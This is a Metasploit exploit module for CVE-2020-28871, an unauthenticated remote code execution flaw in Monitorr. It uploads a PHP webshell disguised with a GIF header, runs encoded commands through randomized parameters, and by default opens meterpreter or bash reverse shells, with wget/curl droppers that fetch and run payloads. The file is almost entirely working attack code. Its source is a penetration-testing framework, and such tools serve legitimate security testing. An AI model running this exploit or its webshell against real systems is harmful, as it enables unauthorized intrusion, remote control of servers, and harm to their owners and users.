##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Monitorr unauthenticated Remote Code Execution (RCE)',
        'Description' => %q{
          This module exploits an arbitrary file upload vulnerability and achieving an RCE in the Monitorr application.
          Using a specially crafted request, custom PHP code can be uploaded and injected through endpoint upload.php because of missing input validation.
          Any user privileges can exploit this vulnerability and it results in access to the underlying operating system with the same privileges
          under which the web services run (typically user www-data).
          Monitorr 1.7.6m, 1.7.7d and below are affected.
        },
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
          'Lyhins Lab' # discovery
        ],
        'References' => [
          [ 'CVE', '2020-28871' ],
          [ 'URL', 'https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/' ],
          [ 'URL', 'https://attackerkb.com/topics/UNlzoDVL3o/cve-2020-28871' ],
          [ 'EDB', '48980' ],
          [ 'PACKETSTORM', '163263' ],
          [ 'PACKETSTORM', '170974' ]
        ],
        'License' => MSF_LICENSE,
        'Platform' => [ 'unix', 'linux', 'win', 'php' ],
        'Privileged' => false,
        'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ],
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Type' => :php,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ ARCH_X64, ARCH_X86 ],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_command,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows EXE Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-11-16',
        'DefaultOptions' => {
          'SSL' => false,
          'RPORT' => 80
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The Monitorr endpoint URL', '/' ]),
        OptString.new('WEBSHELL', [
          false, 'The name of the webshell with extension to trick the parser like .phtml, .phar, etc. Webshell name will be randomly generated if left unset.', ''
        ]),
        OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0])
      ]
    )
  end

  def upload_php_code(payload)
    # Upload webshell hidden in a GIF with Metasploit payload code
    # randomize file name if option WEBSHELL is not set. Use lowercase characters because upload stores file name in lowercase
    if datastore['WEBSHELL'].blank?
      @webshell_name = "#{Rex::Text.rand_text_alpha_lower(8..16)}.php"
    else
      @webshell_name = datastore['WEBSHELL'].to_s.downcase
    end

    # construct multipart form data
    form_data = Rex::MIME::Message.new
    form_data.add_part(payload.prepend("GIF89a#{rand_text_numeric(6..8)}"), 'image/gif', 'binary', "form-data; name=\"fileToUpload\"; filename=\"#{@webshell_name}\"")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'assets', 'php', 'upload.php'),
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'data' => form_data.to_s
    })
    return false unless res && res.code == 200 && !res.body.blank?

    # parse HTML response to find the id with value 'uploadok' that indicates a successful upload
    html = res.get_html_document
    !!html.at('div[@id="uploadok"]')
  end

  def execute_command(cmd, _opts = {})
    payload = Base64.strict_encode64(cmd)
    php_cmd_function = Base64.strict_encode64(datastore['COMMAND'])
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'assets', 'data', 'usrimg', @webshell_name),
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_get' => {
        @get_param => php_cmd_function
      },
      'vars_post' => {
        @post_param => payload
      }
    })
  end

  def execute_php(cmd, _opts = {})
    payload = Base64.strict_encode64(cmd)
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'assets', 'data', 'usrimg', @webshell_name),
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        @post_param => payload
      }
    })
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'assets', 'js', 'version', 'version.txt'),
      'ctype' => 'application/x-www-form-urlencoded'
    })
    if res && res.code == 200 && !res.body.blank?
      # version 0.8.6d is the first release where versioning using version.txt is introduced according the release notes.
      version = Rex::Version.new(res.body)
      return CheckCode::Vulnerable("Monitorr version: #{version}") if version.between?(Rex::Version.new('0.8.6'), Rex::Version.new('1.7.7'))
    end
    CheckCode::Unknown
  end

  def exploit
    # select webshell depending on the target setting (PHP or others).
    # randomize and encode all parameters to obfuscate the payload and execution
    @post_param = Rex::Text.rand_text_alphanumeric(1..8)
    @get_param = Rex::Text.rand_text_alphanumeric(1..8)

    if target['Type'] == :php
      @webshell = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"
    else
      @webshell = "<?=base64_decode($_GET[\'#{@get_param}\'])(base64_decode($_POST[\'#{@post_param}\']));?>"
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    fail_with(Failure::NotVulnerable, "Webshell #{@webshell_name} upload failed, the system is likely patched.") unless upload_php_code(@webshell)
    register_file_for_cleanup(@webshell_name.to_s)

    case target['Type']
    when :php
      execute_php(payload.encoded)
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(linemax: 65536)
    when :windows_command
      execute_command(payload.encoded)
    when :windows_dropper
      execute_cmdstager(flavor: :psh_invokewebrequest, linemax: 65536)
    end
  end
end
